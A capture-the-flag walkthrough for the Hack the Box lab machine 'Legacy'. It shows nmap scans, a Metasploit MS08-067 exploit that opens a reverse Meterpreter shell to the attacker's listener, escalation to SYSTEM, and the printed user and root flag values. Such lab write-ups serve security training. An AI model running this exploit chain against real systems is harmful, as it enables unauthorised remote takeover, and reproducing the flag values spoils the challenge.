Legacy, Hack the Box CTF Walkthrough
Legacy is an easy level retired capture the flag machine from Hack the Box. This writeup will describe the techniques I used to bypass security controls and gain root access to the machine.
Getting Started
The first thing i did was conduct a basic nmap scan to search for the top 200 open ports on the target.
──(kali㉿kali)-[~/Documents/htb/legacy]
└─$ nmap --top-ports 200 -Pn 10.10.10.4
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 14:50 EST
Nmap scan report for 10.10.10.4
Host is up (0.023s latency).
Not shown: 197 filtered ports
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp closed ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 2.57 secondsThe scan shows there are at least 2 open ports with services such as netbios and microsoft-ds running. Next, to get a better understanding of the services and version running, and to scan for basic vulnerabilities, I used the nmapAutomator script. The below output only shows the most relevant information.
---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on basic ports
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 15:00 EST
Nmap scan report for 10.10.10.4
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds
Running Vuln scan on basic ports
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 15:00 EST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.4
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.12 secondsThe scan shows the target is likely vulnerable to CVE-2008–4250, a serious vulnerability also referred to by its microsoft bulletin identifier, Microsoft Windows Server 2000/2003 — Code Execution (MS08–067). There is a public exploit for this vulnerability on metasploit (exploit/windows/smb/ms08_067_netapi), so next i started up the msfconsole and configured the necessary options.
msf6 exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.4 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf6 exploit(windows/smb/ms08_067_netapi) >Executing the exploit started a reverse meterpreter session on the target. Using the getsystem meterpreter command, I upgraded my privilege to SYSTEM. At this point I can start looking for the user and root flags.
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 10.10.14.3:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.10.10.4:1028) at 2021-01-11 10:22:35 -0500
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >I used the search meterpreter command and found both flags.
meterpreter > search -f *user.txt*
Found 1 result...
c:\Documents and Settings\john\Desktop\user.txt (32 bytes)
meterpreter > cat "c:\Documents and Settings\john\Desktop\user.txt"
e69af0e4f443de7e36876fda4ec7644fmeterpreter >meterpreter > search -f *root.txt*
Found 1 result...
c:\Documents and Settings\Administrator\Desktop\root.txt (32 bytes)
meterpreter > cat "c:\Documents and Settings\Administrator\Desktop\root.txt"
993442d258b0e0ec917cae9e695d5713meterpreter >
Conclusion
Overall this was an easy CTF machine that was vulnerable to a very popular windows exploit.
Originally published at https://tbutler.org.
